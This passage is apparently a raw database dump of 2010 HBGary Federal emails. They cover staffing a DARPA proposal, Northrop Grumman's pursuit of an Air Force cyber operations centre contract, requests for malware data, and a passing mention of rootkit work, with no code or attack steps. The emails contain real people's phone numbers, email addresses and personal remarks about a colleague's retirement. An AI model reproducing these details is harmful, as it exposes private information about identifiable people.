docs\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBob,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Gregs resume I think we need to add the development of\r\nbehavior based detection of Malware. &nbsp;I mean its one of the only\r\ncapabilities out there and he developed it. &nbsp;So all the Responder, REcon,\r\nDDNA stuff.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFor Martin I think SSE is fine.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAre we going to include both of these folks on TA3 as well?\r\n&nbsp;Who else are we going to put on it.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed I think we need to get some resumes from some of our old\r\ncontacts that we could bring on as contingency hires.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 4, 2010, at 11:23 PM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nand Ted,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDo\r\nyou have any mods of these docs before I send them to GD?&nbsp; I think\r\nMartin&#8217;s title is Senior Software Engineer, but that doesn&#8217;t begin\r\nto describe his skill and value.&nbsp; Martin doesn&#8217;t have a degree, but\r\nanybody who has worked with him knows how much of a stud he is.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;HBGary\r\nKey Personnel Qualifications - Greg Hoglund.docx&gt;&lt;HBGary Key Personnel\r\nQualifications - Martin Pillion.docx&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG -&nbsp;www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2721 - Release Date: 03/04/10\r\n14:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2721 - Release Date: 03/04/10\r\n14:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5922,'aaron_hbgary_com/5922.html'),(3567,'2010-03-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001793.M358474P3547Q3567.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Using the Cloud','Ok guys...crunch time. :)\r\n\r\nI am putting in the cloud information related to the different section.  Please review and provide comments, modifications in a differnt color.  U will get a link notification to the documents.\r\n\r\nBob, is Sean and Martin going to be able to review to add some more technical beef?  We have the approach, we just need some review so us three non-malware analysts don\'t say something stupid.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',12861,'aaron_hbgary_com/12861.html'),(3568,'2010-03-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001793.M616844P3547Q3568.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: HBGary Key Personnel docs','Yep I think we need Shawn on the HBGary side.On Mar 5, 2010, at 8:58 AM, Bob Slapnik wrote:OK, I’ll get Scott’s info and add him as management.&nbsp;&nbsp; Do I need to add Shawn as a third tech guy?&nbsp; Ted as the PM makes lots of sense – he has both the mgt background and the tech education/experience.&nbsp; I assume that Mark, Jeff and Ernst have good looking resumes, so go ahead and use them.&nbsp;&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Friday, March 05, 2010 8:22 AMTo:&nbsp;Bob SlapnikCc:&nbsp;ted@hbgary.comSubject:&nbsp;Re: HBGary Key Personnel docs&nbsp;Yes and no. &nbsp;Yes they want to see new ideas. &nbsp;For that I would be Greg, Martin, Sean. &nbsp;For management on the HBGary team I would put Scott. &nbsp;The development soared because you an organized systems engineer on the team..that is good and very valuable. &nbsp;you need to be able to show management.&nbsp;HBGary Fed will propose Ted as the PM function for the group but hes not going to do the work. &nbsp;We are going to pitch people we will bring on the team (Mark, Jeff, Ernst, etc).&nbsp;Make sense?&nbsp;AaronOn Mar 5, 2010, at 8:18 AM, Bob Slapnik wrote:When I look at the HBGary team I want to see know-how and credentials. &nbsp;I could add Scott, but he is *just* a manager.&nbsp; He has no research capabilities.&nbsp; The funny&nbsp; thing is that HBGary’s develop team soared after he joined.&nbsp; DARPA wants to see resumes of people who can research new ideas.&nbsp; In my mind that leaves us with Greg and Martin.&nbsp; They dream up the new ideas, map them out, then give them to somebody else to grind out the details.&nbsp;The things that are research to other organizations isn’t to HBGary.&nbsp; Greg and Martin think about the problem, maybe read some tech materials, they architect an approach, and they just build it.&nbsp; Turns out as a prototype that we later throw away and rebuild.&nbsp; Is this research?&nbsp; No, but it works.&nbsp;&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Friday, March 05, 2010 4:47 AMTo:&nbsp;Bob SlapnikCc:&nbsp;ted@hbgary.comSubject:&nbsp;Re: HBGary Key Personnel docs&nbsp;Bob,&nbsp;On Gregs resume I think we need to add the development of behavior based detection of Malware. &nbsp;I mean its one of the only capabilities out there and he developed it. &nbsp;So all the Responder, REcon, DDNA stuff.&nbsp;For Martin I think SSE is fine.&nbsp;Are we going to include both of these folks on TA3 as well? &nbsp;Who else are we going to put on it.&nbsp;Ted I think we need to get some resumes from some of our old contacts that we could bring on as contingency hires.&nbsp;Aaron&nbsp;On Mar 4, 2010, at 11:23 PM, Bob Slapnik wrote:Aaron and Ted,&nbsp;Do you have any mods of these docs before I send them to GD?&nbsp; I think Martin’s title is Senior Software Engineer, but that doesn’t begin to describe his skill and value.&nbsp; Martin doesn’t have a degree, but anybody who has worked with him knows how much of a stud he is.&nbsp;Bob&nbsp;&lt;HBGary Key Personnel Qualifications - Greg Hoglund.docx&gt;&lt;HBGary Key Personnel Qualifications - Martin Pillion.docx&gt;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.733 / Virus Database: 271.1.1/2721 - Release Date: 03/04/10 14:34:00&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.733 / Virus Database: 271.1.1/2721 - Release Date: 03/04/10 14:34:00\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',4476,'aaron_hbgary_com/4476.html'),(3569,'2010-03-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001793.M809181P3547Q3569.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Team Access','I can give the team access to these files too right (pikewerks, secure decisions, etc).\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',10483,'aaron_hbgary_com/10483.html'),(3570,'2010-03-05','\"Shows, Bob (IS)\" <rj.shows@ngc.com>','/aaron@hbgary.com/new/1297001796.M491313P3547Q3570.eml','\"Mullen, Sean\" <sean.mullen@ngc.com>,\"Mullen, Sean\" <sean.mullen@ngc.com>,,,,,,','RE: CYBER','\r\n\r\n\r\n\r\n\r\nRE: CYBER\r\n\r\n\r\n\r\n\r\nSean,\r\n\r\nI have a plan in work; here are some highlights:\r\n\r\n\r\n\r\n&#183;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I\'ve verified with 624th OC Commander, Col Vic Diaz, that original CCS requirements are still valid to make the 624th Ops Ctr viable.\r\n\r\n&#183;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Jay Trageser is onboard, as we bring together a \'story\' to take to 624th OC in San Antonio at the end of March (exact date TBD)\r\n\r\no&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Story will include architecture/framework that is responsive &amp; extensible provided by NGC-Harry\'s team \r\n\r\no&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HB Gary Federal will bring a suite of niche, best-of-breed SBs (5 total) that fit into NGC schema (Aaron Barr is CEO, formerly Tech Engineer at Millersville with NGC).&nbsp; Note:&nbsp; HB Gary received rave reviews on their assessment and report on Operation Aurora (attacks on Google and others around Christmas of 2009—report attached) \r\n\r\no&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry &amp; Randy are vetting several other unique companies that will round out the fuller story\r\n\r\no&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mike Edwards is on the ground floor of this &amp; will be on the trip\r\n\r\no&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; We have an NDA in-place with HB Gary Federal--it incorporates the other members of his team\r\n\r\n&#183;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; This may be a leading candidate procurement for Harry to apply some of his CCOC lab funds\r\n\r\n&#183;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I will get the key AFSPC Capability Team lead to join us on this interactive visit--like to be Col Oz Nelson &amp;/o Col Munk Paulson\r\n\r\n&#183;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I believe this effort will still be in the $100M+ range, like original CCS, with this being foundational for future growth\r\n\r\n\r\n\r\nAs requested below, I\'ll be pleased to frame this overall approach in a few slides, to include how ESC may (or may not) fit.&nbsp; (Note:&nbsp; AFSPC &amp; 24th AF are not pleased with how ESC \'jammed current CCS down their throat\'--could explain a bit of \'why\' they are using AFISR agency to go get some temp help on ITES-2S.&nbsp; Also, I told Col Diaz that I would bring this to him in such a way that he could &quot;buy in pieces&quot; on NETCENTS II--he really liked that approach!\r\n\r\n\r\n\r\nBest regards,&nbsp;&nbsp; \r\n\r\nRobert \'Bob\' Shows \r\n\r\nUSAF Account Team NGIS/DSD\r\n\r\nNorthrop Grumman Corporation \r\n\r\n310.210.2549 \r\n\r\n &lt;&lt;HBG Malware Report-Operation Aurora.pdf&gt;&gt; \r\n\r\n\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Mullen, Sean\r\nSent: Friday, March 05, 2010 6:52 AM\r\nTo: Shows, Bob (IS)\r\nCc: Schoen, Ed (IS)\r\nSubject: FW: CYBER\r\n\r\nBob - can you develop a small number of slides on the AF Cyber Ops center.&nbsp; Please work with Ed to get the ESC perspective on how they will procure.&nbsp; I want to get on the table what we see as the opportunity so we can start to qualify and raise awareness within DSD as a number of units may have interest.&nbsp; Will also help prepare us for the eventual discussion with ISD.&nbsp; Lets have something next week.&nbsp; \r\n\r\nThanks\r\n\r\n-----Original Message-----\r\n\r\nFrom: Mullen, Sean \r\n\r\nSent: Friday, March 05, 2010 7:47 AM\r\n\r\nTo: Hevey, Bruce (IS); Strei, Thomas J (IS)\r\n\r\nSubject: RE: CYBER\r\n\r\nThanks.&nbsp; Bob Shows and Ed Schoen has been working the cyber ops center and OCX stuff.&nbsp; It is currently in the pipeline under our DES unit, but our Intelligence (ISD) also claims lead.&nbsp; They are working it from their San Antonio office.&nbsp; We will have an eventual lead resolution with them in terms of either DSD or ISD owning the ops center opportunity.&nbsp; If DSD does get it, we need to understand how the AF will procure (like a JSpOC or AOC model) or will they look for another type requirement (provide bodies as analysts for example).&nbsp; Depending on that, the best units for lead could be DES, IMS or ICS. I have asked Bob Shows to put together a short opportunity brief on the opportunity to we can start to qualify it internally and decide on best lead.\r\n\r\nWe have engaged with the 950th group in San Antonio to get them to Millersville for Cyber demo\'s.&nbsp; I would imagine we would pull that string up to Denofrio level. We need to stay coordinated/aware of this customer activity.\r\n\r\nTom - I can certainly bring you up to speed on this one and all of the other service Cyber ops centers we are looking at.\r\n\r\nSean\r\n\r\n-----Original Message-----\r\n\r\nFrom: Hevey, Bruce (IS) \r\n\r\nSent: Thursday, March 04, 2010 3:14 PM\r\n\r\nTo: Mullen, Sean\r\n\r\nSubject: FW: CYBER\r\n\r\nFYI...\r\n\r\n-----Original Message-----\r\n\r\nFrom: Hevey, Bruce (IS) \r\n\r\nSent: Thursday, March 04, 2010 2:58 PM\r\n\r\nTo: Strei, Thomas J (IS)\r\n\r\nSubject: RE: CYBER\r\n\r\nTom,\r\n\r\nI ran into Col Dave Denofrio and some of his Cyber team at the airport Tuesday morning and chatted some more on this topic.&nbsp; They were on their way to DC to visit Booz Allen and are actively looking for opportunities to engage with industry to better understand capabilities available.&nbsp; I suggest the time is right to get something set up with these guys and I\'m willing to help make that entrée...&nbsp; I\'m available tomorrow after 9:30 in the morning to talk, but will be out of pocket for the rest of the day after about noon.&nbsp; You can reach me on my cell at 781-315-1335.\r\n\r\nBruce\r\n\r\n-----Original Message-----\r\n\r\nFrom: Strei, Thomas J (IS) \r\n\r\nSent: Thursday, February 25, 2010 10:05 PM\r\n\r\nTo: Hevey, Bruce (IS)\r\n\r\nSubject: FW: CYBER\r\n\r\nBruce,\r\n\r\nI work the cyber opportunity space for Kevin. Are you available for a \r\n\r\nconversation on Monday? I return from vacation Saturday.&nbsp; Thanks, Tom\r\n\r\n-----Original Message-----\r\n\r\nFrom: Sculley, Kevin\r\n\r\nSent: Thursday, February 25, 2010 12:55 PM\r\n\r\nTo: Strei, Thomas J (IS)\r\n\r\nCc: Woods, James A., Jr.\r\n\r\nSubject: Fw: CYBER\r\n\r\n\r\n\r\n----- Original Message -----\r\n\r\nFrom: Twyman, Mike (IS)\r\n\r\nTo: Hevey, Bruce (IS)\r\n\r\nCc: Kale, Jill; Sculley, Kevin\r\n\r\nSent: Thu Feb 25 11:36:20 2010\r\n\r\nSubject: Re: CYBER\r\n\r\nBruce,\r\n\r\nMy team is doing integration of cyber and for future bids we would probably \r\n\r\nprovide the c2 infrastructure. Jill and kevins bus are the leaders in cyber \r\n\r\nsystems for barrys group.&nbsp; I\'d be glad to support a telecon with them to \r\n\r\nfigure out what we should do.\r\n\r\n\r\nWe can do a futures lab demo with more emphasis on cyber. For example show the \r\n\r\nwork jills team did on canes and then run a demo of kevins stuff as well.\r\n\r\n\r\nThx. Mike\r\n\r\n----- Original Message -----\r\n\r\nFrom: Hevey, Bruce (IS)\r\n\r\nTo: Twyman, Mike (IS)\r\n\r\nSent: Thu Feb 25 10:42:45 2010\r\n\r\nSubject: CYBER\r\n\r\nMike,\r\n\r\nAre you guys going to be the lead in any Cyber Control Center or Cyber \r\n\r\nproducts activities?&nbsp; I had a good meeting with Col Dave Denofrio today and he \r\n\r\ntells me his group and one of his squadrons is going to lead the Cyber AOC \r\n\r\neffort (much to the chagrin on Ron Mason).&nbsp; He\'s anxious to hear from us and I \r\n\r\ninvited him to SD sometime soon.\r\n\r\nBruce\r\n\r\n----- Original Message -----\r\n\r\nFrom: Twyman, Mike (IS)\r\n\r\nTo: Hevey, Bruce (IS)\r\n\r\nSent: Wed Feb 24 21:42:23 2010\r\n\r\nSubject: Re: Anita\r\n\r\nShe told me tucson is base but she understands any job beyond raytheon in \r\n\r\ntucson will require travel. She said they have agreed to that model for a \r\n\r\nsecond career.\r\n\r\nI was thinking jspoc in csprings. She have to basically be there pedro is \r\n\r\nanother option for aoc but well have to submit prop before she gets out in \r\n\r\njuly and I don\'t want to do bait/switch. Well talk to her\r\n\r\nThx. Mike\r\n\r\n----- Original Message -----\r\n\r\nFrom: Hevey, Bruce (IS)\r\n\r\nTo: Twyman, Mike (IS)\r\n\r\nSent: Wed Feb 24 20:44:33 2010\r\n\r\nSubject: Re: Anita\r\n\r\nThe word on the street is she\'s going to move to Arizona with her husband Lyle \r\n\r\nwhere his business is established.&nbsp; No question program execution would be her \r\n\r\nstrength, and I think she\'s well respected within the AF, probably more so \r\n\r\nthan by industry.&nbsp; Not sure if she\'d consider relaocating to San Pedro or \r\n\r\nColorado Springs.&nbsp; Where do you plan to put your JSPOC PMO?\r\n\r\nBruce\r\n\r\n----- Original Message -----\r\n\r\nFrom: Twyman, Mike (IS)\r\n\r\nTo: Hevey, Bruce (IS)\r\n\r\nSent: Wed Feb 24 20:20:54 2010\r\n\r\nSubject: Anita\r\n\r\nBruce,\r\n\r\nAnita is retiring in july. What is her reputation? Could she be a \r\n\r\nconsideration for aoc or jspoc?\r\n\r\n\r\nThx. Mike\r\n\r\n\r\n',6943,'aaron_hbgary_com/6943.html'),(3571,'2010-03-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001798.M471430P3547Q3571.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: CYBER','\r\n\r\nBegin forwarded message:\r\n\r\n> From: \"Shows, Bob (IS)\" \r\n> Date: March 5, 2010 9:16:55 AM EST\r\n> To: \"Mullen, Sean\" \r\n> Cc: \"Schoen, Ed (IS)\" , \"Trageser, Jay E (IS)\" , \"Edwards, Michael (CORP)\" , \"Richardson, Harry F (IS)\" , \"Fish, Randy W (IS)\" , \"Choi, Doyle (IS)\" , \"Anna, Mick\" \r\n> Subject: RE: CYBER\r\n> \r\n> Sean,\r\n> \r\n> I have a plan in work; here are some highlights:\r\n> \r\n> \r\n> ·       I\'ve verified with 624th OC Commander, Col Vic Diaz, that original CCS requirements are still valid to make the 624th Ops Ctr viable.\r\n> \r\n> ·       Jay Trageser is onboard, as we bring together a \'story\' to take to 624th OC in San Antonio at the end of March (exact date TBD)\r\n> \r\n> o       Story will include architecture/framework that is responsive & extensible provided by NGC-Harry\'s team\r\n> \r\n> o       HB Gary Federal will bring a suite of niche, best-of-breed SBs (5 total) that fit into NGC schema (Aaron Barr is CEO, formerly Tech Engineer at Millersville with NGC).  Note:  HB Gary received rave reviews on their assessment and report on Operation Aurora (attacks on Google and others around Christmas of 2009—report attached)\r\n> \r\n> o       Harry & Randy are vetting several other unique companies that will round out the fuller story\r\n> \r\n> o       Mike Edwards is on the ground floor of this & will be on the trip\r\n> \r\n> o       We have an NDA in-place with HB Gary Federal--it incorporates the other members of his team\r\n> \r\n> ·       This may be a leading candidate procurement for Harry to apply some of his CCOC lab funds\r\n> \r\n> ·       I will get the key AFSPC Capability Team lead to join us on this interactive visit--like to be Col Oz Nelson &/o Col Munk Paulson\r\n> \r\n> ·       I believe this effort will still be in the $100M+ range, like original CCS, with this being foundational for future growth\r\n> \r\n> \r\n> As requested below, I\'ll be pleased to frame this overall approach in a few slides, to include how ESC may (or may not) fit.  (Note:  AFSPC & 24th AF are not pleased with how ESC \'jammed current CCS down their throat\'--could explain a bit of \'why\' they are using AFISR agency to go get some temp help on ITES-2S.  Also, I told Col Diaz that I would bring this to him in such a way that he could \"buy in pieces\" on NETCENTS II--he really liked that approach!\r\n> \r\n> \r\n> Best regards,  \r\n> \r\n> Robert \'Bob\' Shows\r\n> \r\n> USAF Account Team NGIS/DSD\r\n> \r\n> Northrop Grumman Corporation\r\n> \r\n> 310.210.2549\r\n> \r\n> >\r\n> \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Mullen, Sean\r\n> Sent: Friday, March 05, 2010 6:52 AM\r\n> To: Shows, Bob (IS)\r\n> Cc: Schoen, Ed (IS)\r\n> Subject: FW: CYBER\r\n> \r\n> Bob - can you develop a small number of slides on the AF Cyber Ops center.  Please work with Ed to get the ESC perspective on how they will procure.  I want to get on the table what we see as the opportunity so we can start to qualify and raise awareness within DSD as a number of units may have interest.  Will also help prepare us for the eventual discussion with ISD.  Lets have something next week. \r\n> \r\n> Thanks\r\n> \r\n> -----Original Message-----\r\n> \r\n> From: Mullen, Sean\r\n> \r\n> Sent: Friday, March 05, 2010 7:47 AM\r\n> \r\n> To: Hevey, Bruce (IS); Strei, Thomas J (IS)\r\n> \r\n> Subject: RE: CYBER\r\n> \r\n> Thanks.  Bob Shows and Ed Schoen has been working the cyber ops center and OCX stuff.  It is currently in the pipeline under our DES unit, but our Intelligence (ISD) also claims lead.  They are working it from their San Antonio office.  We will have an eventual lead resolution with them in terms of either DSD or ISD owning the ops center opportunity.  If DSD does get it, we need to understand how the AF will procure (like a JSpOC or AOC model) or will they look for another type requirement (provide bodies as analysts for example).  Depending on that, the best units for lead could be DES, IMS or ICS. I have asked Bob Shows to put together a short opportunity brief on the opportunity to we can start to qualify it internally and decide on best lead.\r\n> \r\n> We have engaged with the 950th group in San Antonio to get them to Millersville for Cyber demo\'s.  I would imagine we would pull that string up to Denofrio level. We need to stay coordinated/aware of this customer activity.\r\n> \r\n> Tom - I can certainly bring you up to speed on this one and all of the other service Cyber ops centers we are looking at.\r\n> \r\n> Sean\r\n> \r\n> -----Original Message-----\r\n> \r\n> From: Hevey, Bruce (IS)\r\n> \r\n> Sent: Thursday, March 04, 2010 3:14 PM\r\n> \r\n> To: Mullen, Sean\r\n> \r\n> Subject: FW: CYBER\r\n> \r\n> FYI...\r\n> \r\n> -----Original Message-----\r\n> \r\n> From: Hevey, Bruce (IS)\r\n> \r\n> Sent: Thursday, March 04, 2010 2:58 PM\r\n> \r\n> To: Strei, Thomas J (IS)\r\n> \r\n> Subject: RE: CYBER\r\n> \r\n> Tom,\r\n> \r\n> I ran into Col Dave Denofrio and some of his Cyber team at the airport Tuesday morning and chatted some more on this topic.  They were on their way to DC to visit Booz Allen and are actively looking for opportunities to engage with industry to better understand capabilities available.  I suggest the time is right to get something set up with these guys and I\'m willing to help make that entrée...  I\'m available tomorrow after 9:30 in the morning to talk, but will be out of pocket for the rest of the day after about noon.  You can reach me on my cell at 781-315-1335.\r\n> \r\n> Bruce\r\n> \r\n> -----Original Message-----\r\n> \r\n> From: Strei, Thomas J (IS)\r\n> \r\n> Sent: Thursday, February 25, 2010 10:05 PM\r\n> \r\n> To: Hevey, Bruce (IS)\r\n> \r\n> Subject: FW: CYBER\r\n> \r\n> Bruce,\r\n> \r\n> I work the cyber opportunity space for Kevin. Are you available for a\r\n> \r\n> conversation on Monday? I return from vacation Saturday.  Thanks, Tom\r\n> \r\n> -----Original Message-----\r\n> \r\n> From: Sculley, Kevin\r\n> \r\n> Sent: Thursday, February 25, 2010 12:55 PM\r\n> \r\n> To: Strei, Thomas J (IS)\r\n> \r\n> Cc: Woods, James A., Jr.\r\n> \r\n> Subject: Fw: CYBER\r\n> \r\n> \r\n> \r\n> ----- Original Message -----\r\n> \r\n> From: Twyman, Mike (IS)\r\n> \r\n> To: Hevey, Bruce (IS)\r\n> \r\n> Cc: Kale, Jill; Sculley, Kevin\r\n> \r\n> Sent: Thu Feb 25 11:36:20 2010\r\n> \r\n> Subject: Re: CYBER\r\n> \r\n> Bruce,\r\n> \r\n> My team is doing integration of cyber and for future bids we would probably\r\n> \r\n> provide the c2 infrastructure. Jill and kevins bus are the leaders in cyber\r\n> \r\n> systems for barrys group.  I\'d be glad to support a telecon with them to\r\n> \r\n> figure out what we should do.\r\n> \r\n> \r\n> We can do a futures lab demo with more emphasis on cyber. For example show the\r\n> \r\n> work jills team did on canes and then run a demo of kevins stuff as well.\r\n> \r\n> \r\n> Thx. Mike\r\n> \r\n> ----- Original Message -----\r\n> \r\n> From: Hevey, Bruce (IS)\r\n> \r\n> To: Twyman, Mike (IS)\r\n> \r\n> Sent: Thu Feb 25 10:42:45 2010\r\n> \r\n> Subject: CYBER\r\n> \r\n> Mike,\r\n> \r\n> Are you guys going to be the lead in any Cyber Control Center or Cyber\r\n> \r\n> products activities?  I had a good meeting with Col Dave Denofrio today and he\r\n> \r\n> tells me his group and one of his squadrons is going to lead the Cyber AOC\r\n> \r\n> effort (much to the chagrin on Ron Mason).  He\'s anxious to hear from us and I\r\n> \r\n> invited him to SD sometime soon.\r\n> \r\n> Bruce\r\n> \r\n> ----- Original Message -----\r\n> \r\n> From: Twyman, Mike (IS)\r\n> \r\n> To: Hevey, Bruce (IS)\r\n> \r\n> Sent: Wed Feb 24 21:42:23 2010\r\n> \r\n> Subject: Re: Anita\r\n> \r\n> She told me tucson is base but she understands any job beyond raytheon in\r\n> \r\n> tucson will require travel. She said they have agreed to that model for a\r\n> \r\n> second career.\r\n> \r\n> I was thinking jspoc in csprings. She have to basically be there pedro is\r\n> \r\n> another option for aoc but well have to submit prop before she gets out in\r\n> \r\n> july and I don\'t want to do bait/switch. Well talk to her\r\n> \r\n> Thx. Mike\r\n> \r\n> ----- Original Message -----\r\n> \r\n> From: Hevey, Bruce (IS)\r\n> \r\n> To: Twyman, Mike (IS)\r\n> \r\n> Sent: Wed Feb 24 20:44:33 2010\r\n> \r\n> Subject: Re: Anita\r\n> \r\n> The word on the street is she\'s going to move to Arizona with her husband Lyle\r\n> \r\n> where his business is established.  No question program execution would be her\r\n> \r\n> strength, and I think she\'s well respected within the AF, probably more so\r\n> \r\n> than by industry.  Not sure if she\'d consider relaocating to San Pedro or\r\n> \r\n> Colorado Springs.  Where do you plan to put your JSPOC PMO?\r\n> \r\n> Bruce\r\n> \r\n> ----- Original Message -----\r\n> \r\n> From: Twyman, Mike (IS)\r\n> \r\n> To: Hevey, Bruce (IS)\r\n> \r\n> Sent: Wed Feb 24 20:20:54 2010\r\n> \r\n> Subject: Anita\r\n> \r\n> Bruce,\r\n> \r\n> Anita is retiring in july. What is her reputation? Could she be a\r\n> \r\n> consideration for aoc or jspoc?\r\n> \r\n> \r\n> Thx. Mike\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',14376,'aaron_hbgary_com/14376.html'),(3572,'2010-03-05','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001798.M828226P3547Q3572.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Two things','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nDaily ping because I am getting back from the guys working the Cyber\r\nThreat IRAD.&nbsp; We need data!&nbsp; They sort of hung evaluating what the initial step\r\nare til they get a decent repository to begin working with.\r\n\r\n&nbsp;\r\n\r\nBrian\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, March 04, 2010 11:14 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Two things\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nok update.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nForget the encrypted file. &nbsp;it is for a very good\r\nrootkit that GD funded which we have IP rights to, but GD has it also, they\r\npaid for it. &nbsp;The NexGen rootkit is still only in Gregs head and haven\'t\r\nbeen able to get it out, albeit it has been sporadic on my part. &nbsp;I will\r\nhave better luck after RSA is over, but not good enough for your proposal.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe memory module one, looking for the paper that was\r\nwritten...not having any luck. &nbsp;I thought Bob was the one that told me we\r\nhad that written up but now he says it wasn\'t him...ugh.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn the trait/malware database. &nbsp;Ted is working with\r\nShawn to get a bunch of it dropped to a disk that we can mail you to get you\r\nstarted and then we can work on getting more. &nbsp;The current database is\r\nimmeshed with the actual feed portal which includes all the tickets, etc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 